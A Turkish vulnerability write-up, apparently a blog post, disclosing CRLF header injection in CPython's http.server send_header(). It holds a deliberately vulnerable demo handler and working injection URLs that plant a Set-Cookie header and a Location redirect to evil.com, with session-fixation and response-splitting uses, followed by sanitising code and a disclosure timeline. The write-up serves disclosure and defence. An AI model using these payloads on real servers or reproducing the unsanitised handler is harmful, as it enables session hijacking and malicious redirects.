CPython’ın standart kütüphanesinde CRLF injection zafiyeti buldum — http.server ve wsgiref modüllerinde. Uygulama kullanıcı girdisini send_header() üzerinden HTTP header’larına yansıtırsa, saldırgan keyfi header’lar ekleyebiliyor. CPython takımı documentation’ı güncelleyerek uyarı koydu: #142605, #143395, #148020, #148021.

Savunmasız kod

Lib/http/server.py içindeki send_header(), header değerini buffer’a direkt yazıyor. Kontrolsüz:

def send_header(self, keyword, value):
    """Send a MIME header to the headers buffer."""
    if self.request_version != 'HTTP/0.9':
        if not hasattr(self, '_headers_buffer'):
            self._headers_buffer = []
        self._headers_buffer.append(
            ("%s: %s\r\n" % (keyword, value)).encode('latin-1', 'strict'))
    # value içinde \r veya \n kontrolü yok

Format string’in sonundaki \r\n header satırını sonlandırıyor. Eğer value‘nin içinde \r\n varsa, header erken bitiyor — ve sonrasındaki her şey yeni, kontrol edilmemiş bir header satırı oluyor. Injection noktası tam burada.

Query parametresini custom header’a yansıtan basit bir uygulama:

from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import parse_qs, urlparse

class VulnerableHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        query = parse_qs(urlparse(self.path).query)
        custom_val = query.get('val', [''])[0]
        
        self.send_response(200)
        self.send_header('X-Custom', custom_val)
        self.end_headers()
        self.wfile.write(b"Hello World")

Normal istek: http://localhost:8000/?val=helloX-Custom: hello.

Saldırı:

http://localhost:8000/?val=test%0d%0aSet-Cookie:%20pwned=true

Sunucu yanıtı:

HTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.x
Date: ...
X-Custom: test
Set-Cookie: pwned=true

%0d%0a, URL encode edilmiş \r\n. Sunucu header’ı orada kesiyor. Saldırganın Set-Cookie‘si şimdi geçerli bir response header’ı olarak duruyor. Tarayıcı bunu alıyor ve pwned cookie’sini kuruyor — hiçbir uyarı yok.

Buradan session fixation yapabilirsiniz: saldırgan kurbanı bu linke tıklatıyor, giriş yapmasını bekliyor, ardından önceden kurduğu session ID ile oturumu ele geçiriyor.

Senaryo 2: Location header injection

Aynı uygulama, farklı payload:

http://localhost:8000/?val=test%0d%0ALocation:%20http://evil.com/

Yanıt:

HTTP/1.0 200 OK
Server: BaseHTTP/0.6 Python/3.x
Date: ...
X-Custom: test
Location: http://evil.com/

Sunucu HTTP 200 döndürdü ama saldırganın sitesine işaret eden bir Location header’ı koydu. Yanıtı işleyen proxy’ler, cache’ler, kütüphanelere bağlı olarak bu, durum kodu “OK” deşse de beklenmedik yönlendirmelere yol açabiliyor.

Diğer saldırı yolları

Cookie ve redirect’in ötesinde, header injection şunları mümkün kılıyor:

  • Cache poisoning: Cache-Control veya Vary header’ları enjekte ederek cache davranışını kontrol edebilirsiniz
  • XSS via content-type override: Bazı framework’ler header’ları HTML’e yansıtıyor. Content-Type: text/html enjekte ederek text/plain dönecek bir yanıtı executable hale getirebilirsiniz
  • Web cache deception: Kişisel yanıtların public URL’ler altında cache’lenmesini sağlayacak header’lar enjekte edebilirsiniz
  • Response splitting: \r\n\r\n enjekte ederek header’ları erken sonlandırıp body’yi kontrol edebilirsiniz

Kök neden

Zafiyet send_header()‘ın girdisini doğrulamamasından kaynaklanıyor. HTTP spec’i header’larda satır sonu karakteri yasaklıyor; kütüphanenin bunu uygulaması gerekiyor.

“Bunu uygulama seviyesinde düzelt” argümanı işe yaramıyor. Evet, uygulamalar should kullanıcı girdisini temizlesin. Ama standart kütüphane bir zafiyet sınıfını trivial hale getirir mi, bu kütüphane tasarım problemidir. Defense in depth: kütüphane doğrular, uygulama da doğrular. Biri diğerinin yerini almaz.

Düzeltme

CPython takımı documentation approach seçti, runtime validation enforcement yapmadı. Neden? Otomatik validation eklemek, CRLF’yi meşru amaçlar için kullanan mevcut kodu kıracaktı (line folding, encoded values gibi).

Bunun yerine send_header() ve send_response_only() documentation’ı güvenlik uyarısı ekledi:

  • “CRLF sequences içeren girdileri reject etmiyor”
  • “sanitized input” beklediğini varsayıyor

Sorumluluk geri geliştirici tarafına döndü: send_header()‘a vermeden önce kullanıcı girdisini validate veya encode etmeli.

Kullanıcı girdisini yansıtırsan, doğru yap:

# Yanlış: direkt reflection
self.send_header('X-Custom', user_input)

# Doğru: control karakterleri sil/reddet
safe_value = user_input.replace('\r', '').replace('\n', '')
self.send_header('X-Custom', safe_value)

# Ya da: sadece güvenli karakterleri içerdiğini doğrula
if '\r' in user_input or '\n' in user_input:
    return self.send_error(400, "Invalid header value")
self.send_header('X-Custom', user_input)

Raporlama zaman çizelgesi

  • CPython’a raporlandı: Security reporting process üzerinden (private disclosure)
  • Documentation PR’ları: #142605, #143395, #148020, #148021
  • Etkilenen versiyonlar: Zafiyetli kodu içeren tüm versiyonlar (Python 3.x 3.12+)
  • Durum: Yazı tarihi itibarıyla current ve LTS branch’lerine documentation uyarısı fixlendi

CPython takımı bunu sorumlu şekilde yönetmiş — raporları kabul ettiler, birden fazla yerde dokumentasyon güncellediler ve kılavuzu gereksiz gecikme olmadan yayınladılar.

Referanslar

İlgili içerik